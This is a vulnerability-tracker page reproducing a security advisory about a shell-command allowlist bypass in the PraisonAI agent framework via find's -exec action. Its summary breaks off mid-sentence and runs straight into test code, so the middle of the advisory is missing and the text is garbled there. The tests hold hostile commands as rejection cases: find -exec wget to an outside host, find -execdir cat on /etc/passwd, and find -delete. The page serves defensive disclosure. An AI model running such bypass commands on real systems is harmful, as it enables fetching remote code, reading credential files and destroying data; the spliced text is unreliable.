VulnWatch VulnWatch
← Back to dashboard
High github · GHSA-cv3g-hj65-pcfh

PraisonAI: Shell command allowlist bypass via find -exec built-in action

Published Oct 8, 2026 CVSS 8.8

Summary

The shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via find's built-in -exec action.

The fix blocks shell metacharacters (`` ;|&`> { expect((await shell('find /tmp -maxdepth 0 -exec wget http://x.com {} +')).success).toBe(false); }); test('rejects find -execdir', async () => { expect((await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +')).success).toBe(false); }); test('rejects find -delete', async () => { expect((await shell('find /app -name "*.bak" -delete')).success).toBe(false); });


### References

- GHSA-5jv7-2mjm-h6qj: Utility shell safe-command wrapper allowlist bypass via shell chaining (High 8.8)
- GHSA-vjv9-7m7j-h833: SandboxExecutor allowedCommands bypass via shell chaining (High)
- Fix commits: 2adfe7e, 2f9677a (2026-06-13)

Affected AI Products

prompt injection llm agent llm
Get the weekly digest. Every Monday: top AI security stories of the week. Free.